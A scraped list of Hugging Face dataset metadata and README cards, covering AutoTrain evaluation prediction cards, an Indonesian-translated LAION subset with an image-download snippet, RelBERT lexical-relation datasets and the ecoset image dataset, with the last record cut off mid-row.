eval_info:
task: summarization
model: tuner007/pegasus_summarizer
metrics: ['accuracy']
dataset_name: xsum
dataset_config: default
dataset_split: test
col_mapping:
text: document
target: summary
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: tuner007/pegasus_summarizer
* Dataset: xsum
* Config: default
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@Neez](https://huggingface.co/Neez) for evaluating this model. |
munggok | null | null | null | false | 1 | false | munggok/Laion_Indo | 2022-07-21T20:53:47.000Z | null | false | 542809bd6760d004fc0180ba3000ff3f80d29801 | [] | [
"arxiv:2111.02114",
"annotations_creators:found",
"language_creators:found",
"language:id",
"license:cc-by-sa-4.0",
"multilinguality:monolingual",
"size_categories:10M<n<100M",
"source_datasets:original",
"task_categories:image-to-text",
"task_ids:image-captioning"
] | https://huggingface.co/datasets/munggok/Laion_Indo/resolve/main/README.md | ---
annotations_creators:
- found
language_creators:
- found
language:
- id
license:
- cc-by-sa-4.0
multilinguality:
- monolingual
size_categories:
- 10M<n<100M
source_datasets:
- original
task_categories:
- image-to-text
task_ids:
- image-captioning
pretty_name: Laion Indo 70M
---
# Dataset Card for Laion Indo 70M
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Dataset Preprocessing](#dataset-preprocessing)
- [Supported Tasks](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-instances)
- [Data Splits](#data-instances)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
## Dataset Description
- **Paper:** [LAION-400M: Open Dataset of CLIP-Filtered 400 Million Image-Text Pairs](https://arxiv.org/abs/2111.02114)
### Dataset Summary
Laion Indo is a Translated subset laion 400m dataset with 70 million image-text pairs specifically meant to be used for visionand-language Indonesia pre-training.
The Dataset translated using custom marian model
### Dataset Preprocessing
This dataset doesn't download the images locally by default. Instead, it exposes URLs to the images. To fetch the images, use the following code:
```python
from concurrent.futures import ThreadPoolExecutor
from functools import partial
import io
import urllib
import PIL.Image
from datasets import load_dataset
from datasets.utils.file_utils import get_datasets_user_agent
USER_AGENT = get_datasets_user_agent()
def fetch_single_image(image_url, timeout=None, retries=0):
for _ in range(retries + 1):
try:
request = urllib.request.Request(
image_url,
data=None,
headers={"user-agent": USER_AGENT},
)
with urllib.request.urlopen(request, timeout=timeout) as req:
image = PIL.Image.open(io.BytesIO(req.read()))
break
except Exception:
image = None
return image
def fetch_images(batch, num_threads, timeout=None, retries=0):
fetch_single_image_with_args = partial(fetch_single_image, timeout=timeout, retries=retries)
with ThreadPoolExecutor(max_workers=num_threads) as executor:
batch["image"] = list(executor.map(fetch_single_image_with_args, batch["image_url"]))
return batch
num_threads = 20
dset = load_dataset("munggok/Laion_Indo")
dset = dset.map(fetch_images, batched=True, batch_size=100, fn_kwargs={"num_threads": num_threads})
```
### Supported Tasks and Leaderboards
- `image-captioning`: This dataset can be used to train model for the Image Captioning task.
### Languages
All captions Translated in Indonesia.
## Dataset Structure
### Data Instances
Each instance represents a single image with a caption:
```
{
'image_url': 'image_url',
'caption': 'text here',
'meta' : 'metadata from orginal laion'
}
```
### Data Fields
- `image_url`: Static URL for downloading the image associated with the post.
- `caption`: Textual description of the image.
- `meta` : Containing meta data from laion original dataset (Width,Height,NSFW,Similarity)
### Data Splits
There is only training data, with a total of 70662144 rows
## Dataset Creation
### Curation Rationale
### Source Data
#### Initial Data Collection and Normalization
From the paper: LAION-400M: Open Dataset of CLIP-Filtered 400 Million Image-Text Pairs](https://arxiv.org/abs/2111.02114)
#### Who are the source language producers?
Not specified.
### Annotations
#### Annotation process
Annotations are extracted jointly with the images using the automatic pipeline.
#### Who are the annotators?
Not specified.
## Considerations for Using the Data
### Social Impact of Dataset
[More Information Needed]
### Discussion of Biases
[More Information Needed]
### Other Known Limitations
[More Information Needed]
## Additional Information
### Dataset Curators
Soravit Changpinyo, Piyush Sharma, Nan Ding and Radu Soricut.
### Licensing Information
CC BY-NC-SA 4.0
### Citation Information
```bibtex
@article{DBLP:journals/corr/abs-2111-02114,
author = {Christoph Schuhmann and
Richard Vencu and
Romain Beaumont and
Robert Kaczmarczyk and
Clayton Mullis and
Aarush Katta and
Theo Coombes and
Jenia Jitsev and
Aran Komatsuzaki},
title = {{LAION-400M:} Open Dataset of CLIP-Filtered 400 Million Image-Text
Pairs},
journal = {CoRR},
volume = {abs/2111.02114},
year = {2021},
url = {https://arxiv.org/abs/2111.02114},
eprinttype = {arXiv},
eprint = {2111.02114},
timestamp = {Fri, 05 Nov 2021 15:25:54 +0100},
biburl = {https://dblp.org/rec/journals/corr/abs-2111-02114.bib},
bibsource = {dblp computer science bibliography, https://dblp.org}
}
```
|
adamnik | null | null | null | false | 6 | false | adamnik/event_detection_dataset | 2022-07-20T19:18:18.000Z | null | false | 02af6989833382fc594889cc1294954c46a74fe3 | [] | [
"license:mit"
] | https://huggingface.co/datasets/adamnik/event_detection_dataset/resolve/main/README.md | ---
license: mit
---
|
fafaf | null | null | null | false | 2 | false | fafaf/IngrifoDataKerrigan | 2022-07-20T20:13:48.000Z | null | false | 24061b8d3cc323a202b3551cc5dc17b91d80fa6f | [] | [
"license:afl-3.0"
] | https://huggingface.co/datasets/fafaf/IngrifoDataKerrigan/resolve/main/README.md | ---
license: afl-3.0
---
|
relbert | null | @inproceedings{wang-etal-2019-spherere,
title = "{S}phere{RE}: Distinguishing Lexical Relations with Hyperspherical Relation Embeddings",
author = "Wang, Chengyu and
He, Xiaofeng and
Zhou, Aoying",
booktitle = "Proceedings of the 57th Annual Meeting of the Association for Computational Linguistics",
month = jul,
year = "2019",
address = "Florence, Italy",
publisher = "Association for Computational Linguistics",
url = "https://aclanthology.org/P19-1169",
doi = "10.18653/v1/P19-1169",
pages = "1727--1737",
abstract = "Lexical relations describe how meanings of terms relate to each other. Typical examples include hypernymy, synonymy, meronymy, etc. Automatic distinction of lexical relations is vital for NLP applications, and also challenging due to the lack of contextual signals to discriminate between such relations. In this work, we present a neural representation learning model to distinguish lexical relations among term pairs based on Hyperspherical Relation Embeddings (SphereRE). Rather than learning embeddings for individual terms, the model learns representations of relation triples by mapping them to the hyperspherical embedding space, where relation triples of different lexical relations are well separated. Experiments over several benchmarks confirm SphereRE outperforms state-of-the-arts.",
} | [Lexical Relation Classification](https://aclanthology.org/P19-1169/) | false | 2,253 | false | relbert/lexical_relation_classification | 2022-07-20T23:24:17.000Z | null | false | 9862d1e870fe6dba4922d3d326c9c8b90a2ecad5 | [] | [
"language:en",
"license:other",
"multilinguality:monolingual",
"size_categories:n<1K"
] | https://huggingface.co/datasets/relbert/lexical_relation_classification/resolve/main/README.md | ---
language:
- en
license:
- other
multilinguality:
- monolingual
size_categories:
- n<1K
pretty_name: Lexical Relation Classification
---
# Dataset Card for "relbert/lexical_relation_classification"
## Dataset Description
- **Repository:** [RelBERT](https://github.com/asahi417/relbert)
- **Paper:** [https://aclanthology.org/P19-1169/](https://aclanthology.org/P19-1169/)
- **Dataset:** Lexical Relation Classification
### Dataset Summary
Five different datasets (`BLESS`, `CogALexV`, `EVALution`, `K&H+N`, `ROOT09`) for lexical relation classification used in [SphereRE](https://www.aclweb.org/anthology/P19-1169/).
### Dataset Summary
This dataset contains 5 different word analogy questions used in [Analogy Language Model](https://aclanthology.org/2021.acl-long.280/).
| name | train | validation | test |
|---------------|------:|-------:|-----:|
| `BLESS` | 18582 | 1327 | 6637 |
| `CogALexV` | 3054 | - | 4260 |
| `EVALution` | 5160 | 372 | 1846 |
| `K&H+N` | 40256 | 2876 | 14377 |
| `ROOT09` | 8933 | 638 | 3191 |
## Dataset Structure
### Data Instances
An example looks as follows.
```
{"head": "turtle", "tail": "live", "relation": "event"}
```
The `stem` and `tail` are the word pair and `relation` is the corresponding relation label.
### Citation Information
```
@inproceedings{wang-etal-2019-spherere,
title = "{S}phere{RE}: Distinguishing Lexical Relations with Hyperspherical Relation Embeddings",
author = "Wang, Chengyu and
He, Xiaofeng and
Zhou, Aoying",
booktitle = "Proceedings of the 57th Annual Meeting of the Association for Computational Linguistics",
month = jul,
year = "2019",
address = "Florence, Italy",
publisher = "Association for Computational Linguistics",
url = "https://aclanthology.org/P19-1169",
doi = "10.18653/v1/P19-1169",
pages = "1727--1737",
abstract = "Lexical relations describe how meanings of terms relate to each other. Typical examples include hypernymy, synonymy, meronymy, etc. Automatic distinction of lexical relations is vital for NLP applications, and also challenging due to the lack of contextual signals to discriminate between such relations. In this work, we present a neural representation learning model to distinguish lexical relations among term pairs based on Hyperspherical Relation Embeddings (SphereRE). Rather than learning embeddings for individual terms, the model learns representations of relation triples by mapping them to the hyperspherical embedding space, where relation triples of different lexical relations are well separated. Experiments over several benchmarks confirm SphereRE outperforms state-of-the-arts.",
}
```
### LICENSE
The LICENSE of all the resources are under [CC-BY-NC-4.0](./LICENSE). Thus, they are freely available for academic purpose or individual research, but restricted for commercial use.
|
relbert | null | @article{turney2008latent,
title={The latent relation mapping engine: Algorithm and experiments},
author={Turney, Peter D},
journal={Journal of Artificial Intelligence Research},
volume={33},
pages={615--655},
year={2008}
} | [Relation Mapping](https://www.jair.org/index.php/jair/article/view/10583) | false | 498 | false | relbert/relation_mapping | 2022-08-11T10:51:58.000Z | null | false | 517e8e60404a2e2961bf28e0fd3631cd8424e81d | [] | [
"language:en",
"license:other",
"multilinguality:monolingual",
"size_categories:1<n<1K"
] | https://huggingface.co/datasets/relbert/relation_mapping/resolve/main/README.md | ---
language:
- en
license:
- other
multilinguality:
- monolingual
size_categories:
- 1<n<1K
pretty_name: Relation Mapping
---
# Dataset Card for "relbert/relation_mapping"
## Dataset Description
- **Repository:** [RelBERT](https://github.com/asahi417/relbert)
- **Paper:** [https://www.jair.org/index.php/jair/article/view/10583](https://www.jair.org/index.php/jair/article/view/10583)
- **Dataset:** Relation Mapping
### Dataset Summary
Relation Mapping is a task to choose optimal combination of word pairs (see more detail in the [paper](https://www.jair.org/index.php/jair/article/view/10583)).
Relation mapping `M` is the set of bijective map in between two sets of terms (`A` and `B`):
```
[set `A`]: ("solar system", "sun", "planet", "mass", "attracts", "revolves", "gravity")
[set `B`]: ("atom", "nucleus", "electron", "charge", "attracts", "revolves", "electromagnetism")
[Relation Mapping `M`]
* "solar system" -> "atom"
* "sun" -> "nucleus"
* "planet" -> "electron"
* "mass" -> "charge"
* "attracts" -> "attracts"
* "revolves" -> "revolves"
* "gravity" -> "electromagnetism"
```
***[Relation Mapping Problem](https://www.jair.org/index.php/jair/article/view/10583)*** is the task to identify the mapping `M` given the sets of terms `A` and `B`.
## Dataset Structure
### Data Instances
An example looks as follows.
```
{
"id": "m10",
"reference": ["seeing", "understanding"],
"source": ["seeing", "light", "illuminating", "darkness", "view", "hidden"],
"target": ["understanding", "knowledge", "explaining", "confusion", "interpretation", "secret"],
"agreement": [68.2, 77.3, 86.4, 86.4, 68.2, 86.4],
"pos": ["vbg", "nn", "vbg", "nn", "nn", "jj"],
"target_random": ["knowledge", "interpretation", "explaining", "confusion", "understanding", "secret"]
}
```
- `source`: A list of terms, which is the source of the relation mapping from.
- `target_random`: A list of terms, where we want to find a mapping from `source` to.
- `target`: A correctly ordered `target_random` that aligns with the `source`.
Given `source` and `target_random`, the task is to predict the correct order of `target_random` so that it matches `target`.
In average 7 terms are in the set, so the total number of possible order is 5040.
### Data Splits
| name |test|
|---------|----:|
|relation_mapping| 20 |
### Citation Information
```
@article{turney2008latent,
title={The latent relation mapping engine: Algorithm and experiments},
author={Turney, Peter D},
journal={Journal of Artificial Intelligence Research},
volume={33},
pages={615--655},
year={2008}
}
``` |
conceptofmind | null | null | null | false | 1 | false | conceptofmind/test | 2022-07-21T02:23:45.000Z | null | false | 272eb4dff01e254d0a962aee8dfbd729710574d8 | [] | [] | https://huggingface.co/datasets/conceptofmind/test/resolve/main/README.md | test |
richartruddie | null | null | null | false | 1 | false | richartruddie/richartruddie | 2022-07-21T05:42:42.000Z | null | false | 06cdd71aa5f3779efac159b56d9be175b6719a52 | [] | [
"license:apache-2.0"
] | https://huggingface.co/datasets/richartruddie/richartruddie/resolve/main/README.md | ---
license: apache-2.0
---
|
autoevaluate | null | null | null | false | 6 | false | autoevaluate/autoeval-staging-eval-project-xsum-8bc70ef8-11355511 | 2022-07-22T06:44:01.000Z | null | false | 10c6f27014e29ecee20aaa336dc25412c0fedf81 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:xsum"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-xsum-8bc70ef8-11355511/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- xsum
eval_info:
task: summarization
model: pszemraj/long-t5-tglobal-base-16384-booksum-V11
metrics: []
dataset_name: xsum
dataset_config: default
dataset_split: test
col_mapping:
text: document
target: summary
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: pszemraj/long-t5-tglobal-base-16384-booksum-V11
* Dataset: xsum
* Config: default
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@pszemraj](https://huggingface.co/pszemraj) for evaluating this model. |
kietzmannlab | null | @article{mehrer2021ecologically,
title={An ecologically motivated image dataset for deep learning yields better models of human vision},
author={Mehrer, Johannes and Spoerer, Courtney J and Jones, Emer C and Kriegeskorte, Nikolaus and Kietzmann, Tim C},
journal={Proceedings of the National Academy of Sciences},
volume={118},
number={8},
year={2021},
publisher={National Acad Sciences}
} | Tired of all the dogs in ImageNet (ILSVRC)? Then ecoset is here for you. 1.5m images
from 565 basic level categories, chosen to be both (i) frequent in linguistic usage,
and (ii) rated by human observers as concrete (e.g. ‘table’ is concrete, ‘romance’
is not). Here we collect resources associated with ecoset. This includes the dataset,
trained deep neural network models, code to interact with them, and published papers
using it. | false | 5 | false | kietzmannlab/ecoset | 2022-10-21T15:11:44.000Z | ecoset | false | 8ef1b28a538b6c259b5e1ad6098b03a8c6f09336 | [] | [
"license:cc",
"source_datasets:original",
"task_categories:image-classification",
"task_ids:multi-class-classification",
"task_ids:multi-class-image-classification",
"tags:other-image-classification",
"tags:image-classification"
] | https://huggingface.co/datasets/kietzmannlab/ecoset/resolve/main/README.md | ---
license: cc
source_datasets:
- original
task_categories:
- image-classification
task_ids:
- multi-class-classification
- multi-class-image-classification
paperswithcode_id: ecoset
pretty_name: Ecoset
tags:
- other-image-classification
- image-classification
---
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Installation](#installation)
- [Install requirements](#install-requirements)
- [Download settings](#download-settings)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
- **Homepage:** [https://www.kietzmannlab.org/ecoset](https://www.kietzmannlab.org/ecoset/)
- **Repository:** [https://codeocean.com/capsule/9570390/tree/v1](https://codeocean.com/capsule/9570390/tree/v1)
- **Paper:** [https://www.pnas.org/doi/full/10.1073/pnas.2011417118](https://doi.org/10.1073/pnas.2011417118)
- **Point of Contact:** [tim.kietzmann@uni-osnabrueck.de](tim.kietzmann@uni-osnabrueck.de)
### Dataset Summary
Tired of all the dogs in ImageNet (ILSVRC)? Then ecoset is here for you. 1.5m images
from 565 basic level categories, chosen to be both (i) frequent in linguistic usage,
and (ii) rated by human observers as concrete (e.g. ‘table’ is concrete, ‘romance’
is not).
Ecoset is a typical image recognition dataset, combining images of objects with appropriate
labels (one label per image). Importantly, ecoset is intended to provide higher ecological
validity than its counterparts, with a mislabelling error rate < 5% and filtered for NSFW content.
For more information on the dataset, consider reading the [original publication](https://doi.org/10.1073/pnas.2011417118).
Ecoset consists of a train, test, and validation subset which all are openly available to the user.
### Supported Tasks and Leaderboards
Ecoset is a large multi-class single-label object recognition image dataset (similar to ImageNet).
## Installation
### Install Requirements
In order to work with ecoset, please make sure to install the s3 compatible version of huggingface datasets, which should include the `s3fs`, `botocore` and `boto3` modules:
```bash
pip install datasets[s3]
```
If you want to work with the dataset in `Huggingface.datasets`, you might also want to make sure to install PIL (`pip install Pillow`) in order to work with image input. However, downloading the dataset will work despite not having installed PIL.
### Download Settings
Please set `ignore_verifications=True`. when downloading this dataset, else the download will result in an error:
```python
from datasets import load_dataset
dataset = load_dataset("kietzmannlab/ecoset", ignore_verifications=True)
```
| NOTE: If you get errors like: `FileNotFoundError: [Errno 2] No such file or directory:'<DATASET_PATH>'` this is likely due do having previously downloaded the dataset and then cancelling the download. If this is the case for you, you can fix this error by manually removing the dataset path and reinstalling the dataset. |
| --- |
## Dataset Structure
We show detailed information for all the configurations of the dataset. Currently, there is only one setting (`Full`) available, containing all data.
### Data Instances
#### Full
- **Size of downloaded dataset files:** 155 GB
- **Total amount of disk used:** 311 GB
## Dataset Creation
A total of 565 categories were selected based on the following: 1) their word frequency in American television and film subtitles (SUBTLEX_US), 2) the perceived concreteness by human observers, and 3) the availability of a minimum of 700 images. Images were sourced via the overall ImageNet database (the same resource used for ILSVRC 2012) or obtained under CC BY-NC-SA 2.0 license from Bing image search and Flickr. Thorough data cleaning procedures were put in place to remove duplicates and to assure an expected misclassification rate per category of <4%.
### Curation Rationale
More information on the curation of the dataset can be found in the [original publication](https://doi.org/10.1073/pnas.2011417118).
### Source Data
The source data is available under: [https://codeocean.com/capsule/9570390/tree/v1](https://codeocean.com/capsule/9570390/tree/v1)
### Annotations
Each ecoset image folder is annotated with class labels according to the main object depicted in a class of images. No further annotations are added to the dataset.
### Personal and Sensitive Information
The dataset was tested to exclude sensitive images using Yahoo's Open NSFW detection model, removing all image with an NSFW score above 0.8. For this dataset, only images with secured license information was used, which should prevent the inclusion of images without consent of the image's authors and subjects. Despite these measures, it is possible that the images in the dataset contain personal and sensitive information.
## Considerations for Using the Data
### Social Impact of Dataset
Large-scale image-label datasets such as ImageNet are the backbone of modern Computer Vision. However, such large datasets often suffer from problems like mislabeling, category biases, misrepresentations, and unsafe content. Ecoset was created with the aim to reduce these biases and consequently improve the social impact of Computer Vision techniques trained on the dataset. More information on the social impact of the dataset can be found in the [original publication](https://doi.org/10.1073/pnas.2011417118).
### Discussion of Biases
Despite best efforts to provide an ecologically valid and overall less biased dataset, ecoset is still likely to contain biased data. The category selection of ecoset was based on human concreteness ratings and word frequencies in a corpus consisting of American television and film subtitles. This undoubtedly biases the category selection toward Western cultures. Image inclusion was based on the availability via Bing/Flickr search results as well as the existence of relevant ImageNet categories. Images depicting people, specifically the categories “man,” “woman,” and “child,” were not sampled according to census distributions (age, ethnicity, gender, etc.).
### Other Known Limitations
In addition to points mentioned in [Discussion of Biases](#discussion-of-biases), ecoset image and category distributions do not reflect the naturalistic, egocentric visual input typically encountered in the everyday life of infant and adults.
## Additional Information
### Dataset Curators
The corpus was put together by Johannes Mehrer, Courtney J. Spoerer, Emer C. Jones, Nikolaus Kriegeskorte, and Tim C. Kietzmann.
### Licensing Information
Ecoset is licensed under Creative Commons Attribution-NonCommercial-ShareAlike 2.0 license (cc-by-nc-sa-2.0).
### Citation Information
```
@article{mehrer2021ecologically,
title={An ecologically motivated image dataset for deep learning yields better models of human vision},
author={Mehrer, Johannes and Spoerer, Courtney J and Jones, Emer C and Kriegeskorte, Nikolaus and Kietzmann, Tim C},
journal={Proceedings of the National Academy of Sciences},
volume={118},
number={8},
pages={e2011417118},
year={2021},
publisher={National Acad Sciences}
}
```
### Contributions
The ecoset dataloader and dataset card was created by [@DiGyt](https://github.com/DiGyt) on behalf of [@kietzmannlab](https://huggingface.co/kietzmannlab).
For questions and suggestions feel free to reach out.
|
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-cestwc__cnn_dailymail-test50-b9fb5faf-11395515 | 2022-07-21T09:57:46.000Z | null | false | 9d7c3583cb446ef2e26c6fca24324e7dd295e238 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:cestwc/cnn_dailymail-test50"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-cestwc__cnn_dailymail-test50-b9fb5faf-11395515/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- cestwc/cnn_dailymail-test50
eval_info:
task: summarization
model: facebook/bart-large-cnn
metrics: []
dataset_name: cestwc/cnn_dailymail-test50
dataset_config: cestwc--cnn_dailymail-test50
dataset_split: test
col_mapping:
text: article
target: highlights
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: facebook/bart-large-cnn
* Dataset: cestwc/cnn_dailymail-test50
* Config: cestwc--cnn_dailymail-test50
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@Buckeyes2019](https://huggingface.co/Buckeyes2019) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-cestwc__cnn_dailymail-test50-b9fb5faf-11395514 | 2022-07-21T09:58:16.000Z | null | false | 035943f67ab75602dc39ab84e279f27f10e80e1e | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:cestwc/cnn_dailymail-test50"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-cestwc__cnn_dailymail-test50-b9fb5faf-11395514/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- cestwc/cnn_dailymail-test50
eval_info:
task: summarization
model: google/pegasus-cnn_dailymail
metrics: []
dataset_name: cestwc/cnn_dailymail-test50
dataset_config: cestwc--cnn_dailymail-test50
dataset_split: test
col_mapping:
text: article
target: highlights
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: google/pegasus-cnn_dailymail
* Dataset: cestwc/cnn_dailymail-test50
* Config: cestwc--cnn_dailymail-test50
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@Buckeyes2019](https://huggingface.co/Buckeyes2019) for evaluating this model. |
autoevaluate | null | null | null | false | 6 | false | autoevaluate/autoeval-staging-eval-project-banking77-10fe815c-11415521 | 2022-07-21T12:41:56.000Z | null | false | 0f685a035621e4a9c17aa71437e1d6325144d5d4 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:banking77"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-banking77-10fe815c-11415521/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- banking77
eval_info:
task: multi_class_classification
model: nickprock/distilbert-base-uncased-banking77-classification
metrics: []
dataset_name: banking77
dataset_config: default
dataset_split: test
col_mapping:
text: text
target: label
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Multi-class Text Classification
* Model: nickprock/distilbert-base-uncased-banking77-classification
* Dataset: banking77
* Config: default
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@nickprock](https://huggingface.co/nickprock) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-banking77-34727576-11425522 | 2022-07-21T12:41:53.000Z | null | false | e83125a08d57be6c9e0aa40ad7f06ecb1d77adc5 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:banking77"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-banking77-34727576-11425522/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- banking77
eval_info:
task: multi_class_classification
model: nickprock/distilbert-base-uncased-banking77-classification
metrics: []
dataset_name: banking77
dataset_config: default
dataset_split: test
col_mapping:
text: text
target: label
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Multi-class Text Classification
* Model: nickprock/distilbert-base-uncased-banking77-classification
* Dataset: banking77
* Config: default
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@nickprock](https://huggingface.co/nickprock) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-banking77-9cb960fa-11435523 | 2022-07-21T12:41:59.000Z | null | false | 1f3971387a63eab5ed76d795c501249904f2161b | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:banking77"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-banking77-9cb960fa-11435523/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- banking77
eval_info:
task: multi_class_classification
model: nickprock/distilbert-base-uncased-banking77-classification
metrics: []
dataset_name: banking77
dataset_config: default
dataset_split: test
col_mapping:
text: text
target: label
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Multi-class Text Classification
* Model: nickprock/distilbert-base-uncased-banking77-classification
* Dataset: banking77
* Config: default
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@nickprock](https://huggingface.co/nickprock) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-cnn_dailymail-82ea4996-11445524 | 2022-07-22T14:59:19.000Z | null | false | 2ba19f47e9b5a645c1c2e9232c8abd69f91ec8df | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:cnn_dailymail"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-cnn_dailymail-82ea4996-11445524/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- cnn_dailymail
eval_info:
task: summarization
model: facebook/bart-large-cnn
metrics: []
dataset_name: cnn_dailymail
dataset_config: 3.0.0
dataset_split: train
col_mapping:
text: article
target: highlights
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: facebook/bart-large-cnn
* Dataset: cnn_dailymail
* Config: 3.0.0
* Split: train
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@jmsteen](https://huggingface.co/jmsteen) for evaluating this model. |
munggok | null | null | null | false | 1 | false | munggok/pmd_indonesia | 2022-07-21T16:37:36.000Z | null | false | 85a3e098ce748e1590a85b370b61a62e898d0bf5 | [] | [
"license:cc-by-4.0"
] | https://huggingface.co/datasets/munggok/pmd_indonesia/resolve/main/README.md | ---
license: cc-by-4.0
---
|
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-976d13e6-0b05-475e-9b4e-e8fbc174cfae-346 | 2022-07-21T15:37:45.000Z | null | false | f39a0f32e1e09f34099c4b0ed22b35935e537cbc | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-976d13e6-0b05-475e-9b4e-e8fbc174cfae-346/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: autoevaluate/extractive-question-answering
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/extractive-question-answering
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-d3ec9b9a-b64a-40a0-baff-3af478f604df-367 | 2022-07-21T15:50:03.000Z | null | false | e66c0d2ce2bde245f0a64d8eea309b2f27e26c80 | [] | [
"type:predictions",
